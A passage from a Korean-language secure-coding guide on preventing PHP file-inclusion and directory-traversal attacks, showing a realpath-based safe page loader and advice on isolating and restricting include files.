// 2. 경로 구성 및 안전한 include
$page_file = '/var/www/pages/' . $page . '.php';
if (file_exists($page_file)) {
    include($page_file);
} else {
    die('페이지를 찾을 수 없습니다.');
}
?>

ii. 경로 검증 및 입력 값 정제 (Safe Loader)

화이트리스트 적용이 어려운 경우, 입력 값 정제 + 실제 경로(realpath) 검증을 통해 경로 조작 공격을 방지하는 방식이다.

  • 입력 값 정규식 검증
  • 경로 정규화(realpath)
  • 기준 디렉터리 이탈 여부 검증

PHP 예제 코드

<?php
class SafePageLoader {
    private $base_dir;

    public function __construct($base_dir) {
        $this->base_dir = realpath($base_dir);
    }

    public function load($page) {
        // 1. 입력 값 검증 (허용된 문자만 사용)
        $page = basename($page); // 경로 정보 제거
        if (!preg_match('/^[a-z0-9_-]+$/i', $page)) {
            throw new Exception('잘못된 페이지명입니다.');
        }

        // 2. 경로 정규화 및 상위 디렉터리 접근 검증
        $file = $this->base_dir . DIRECTORY_SEPARATOR . $page . '.php';
        $realpath = realpath($file);

        if ($realpath === false || strpos($realpath, $this->base_dir) !== 0) {
            throw new Exception('접근할 수 없습니다.');
        }

        return include($realpath);
    }
}
?>
  • 보안 효과
    • 디렉터리 트래버설 차단
    • 경로 변조 기반 LFI/RFI 방어
    • 동적 페이지 로딩 환경에 적합
  1. 물리적 대응 방안
  • 디렉터리 격리
    • Include 대상 파일을 웹 루트 외부 디렉터리에 저장
    • 직접 URL 접근 차단
  • 권한 설정
    • Include 파일: 읽기 권한만 부여
    • 실행 권한 제거